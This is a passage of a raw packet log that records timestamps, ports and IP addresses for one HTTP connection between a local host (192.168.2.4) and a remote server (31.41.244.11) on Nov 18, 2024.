Nov 18, 2024 23:04:15.659874916 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.659876108 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.659907103 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.659929991 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.659955978 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.661876917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.661909103 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.661942005 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.661967039 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.661967039 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.661993027 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.661993027 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.662025928 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.662046909 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.662059069 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.662086010 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.662086964 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.662108898 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.662120104 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.662127018 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.662158966 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.662173033 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.662209988 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.662213087 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.662242889 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.662266016 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.662276030 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.662290096 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.662328959 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.702795982 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.702827930 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.702879906 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.702897072 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.702914000 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.702948093 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.702965021 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.702965021 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.702965021 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.702981949 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.702999115 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.703032017 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.703035116 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.703069925 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.703087091 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.703103065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.703118086 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.703138113 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.703152895 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.703174114 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.703196049 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.703206062 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.703227043 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.703239918 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.703279018 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.703295946 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.703309059 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.703349113 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.703352928 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.703404903 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.703408003 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.703458071 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.703459978 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.703494072 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.703512907 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.703527927 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.703553915 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.703567028 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.703583956 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.703619957 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.705933094 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.706000090 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.706089020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.706121922 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.706145048 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.706168890 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.706172943 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.706207037 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.706222057 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.706240892 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.706258059 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.706274033 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.706295967 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.706306934 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.706332922 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.706340075 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.706367016 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.706376076 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.706409931 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.706435919 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.706468105 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.706501007 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.706522942 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.706533909 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.706551075 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.706568003 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.706588984 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.706603050 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.706619024 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.706636906 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.706655979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.706670046 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.706686020 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.706702948 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.706720114 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.706756115 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.706757069 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.706789970 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.706815958 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.706835032 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.706841946 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.706873894 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.706898928 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.706907034 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.706926107 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.706939936 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.706962109 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.706984997 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.706993103 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.707045078 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.707046032 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.707078934 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.707098007 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.707112074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.707128048 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.707149029 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.707171917 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.707176924 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.707200050 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.707211971 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.707222939 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.707246065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.707261086 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.707282066 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.707295895 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.707338095 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.707398891 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.707432985 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.707454920 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.707467079 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.707479000 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.707499981 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.707515001 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.707535982 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.707555056 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.707583904 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.707586050 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.707619905 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.707637072 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.707653046 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.707679987 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.707690954 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.707710028 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.707746029 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.707772017 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.707822084 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.707824945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.707854986 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.707875013 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.707886934 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.707906008 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.707920074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.707947016 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.707947969 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.707967997 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.707981110 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.707998037 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.708014011 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.708034039 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.708043098 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.708056927 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.708076954 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.708093882 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.708112955 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.708132982 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.708167076 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.708177090 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.708233118 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.708271027 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.708303928 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.708326101 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.708334923 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.708367109 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.708368063 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.708400965 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.708406925 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.708427906 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.708436966 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.708462954 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.708482981 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.708566904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.708595991 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.708632946 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.708632946 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.708647013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.708681107 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.708699942 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.708713055 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.708729982 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.708812952 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.708813906 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.708848953 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.708873034 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.708882093 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.708892107 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.708910942 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.708937883 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.708944082 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.708957911 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.708978891 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.708998919 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.709012032 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.709038019 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.709045887 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.709076881 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.709079027 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.709103107 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.709120035 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.709131956 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.709166050 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.709186077 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.709213018 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.709233046 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.709252119 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.709266901 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.709285975 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.709316015 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.709319115 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.709337950 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.709353924 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.709371090 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.709388971 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.709404945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.709424973 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.709448099 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.709464073 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.709492922 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.709511042 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.709517002 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.709551096 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.709573030 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.709584951 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.709592104 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.709619045 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.709640980 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.709662914 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.709672928 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.709707022 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.709726095 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.709739923 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.709764957 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.709775925 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.709786892 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.709810019 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.709829092 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.709842920 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.709866047 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.709877014 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.709891081 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.709911108 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.709929943 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.709943056 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.709958076 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.709976912 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.709992886 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.710015059 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.710038900 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.710047960 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.710063934 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.710081100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.710105896 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.710114002 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.710128069 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.710146904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.710180044 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.710195065 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.710216045 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.710216045 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.710233927 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.710252047 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.710272074 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.710283995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.710308075 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.710318089 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.710330963 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.710351944 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.710371017 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.710402012 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.710410118 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.710438967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.710457087 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.710470915 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.710494995 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.710505009 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.710531950 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.710539103 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.710556030 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.710572958 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.710596085 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.710623980 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.710627079 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.710656881 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.710678101 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.710690022 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.710714102 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.710725069 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.710736990 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.710757971 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.710778952 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.710791111 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.710825920 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.710833073 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.710851908 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.710861921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.710886002 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.710931063 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.710975885 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.711009026 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.711034060 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.711041927 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.711055994 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.711075068 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.711097956 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.711107969 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.711126089 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.711141109 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.711162090 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.711174965 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.711184025 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.711208105 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.711229086 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.711240053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.711258888 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.711270094 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.711294889 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.711302996 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.711323023 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.711371899 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.711375952 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.711409092 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.711431026 CET	49794	80	192.168.2.4	31.41.244.11
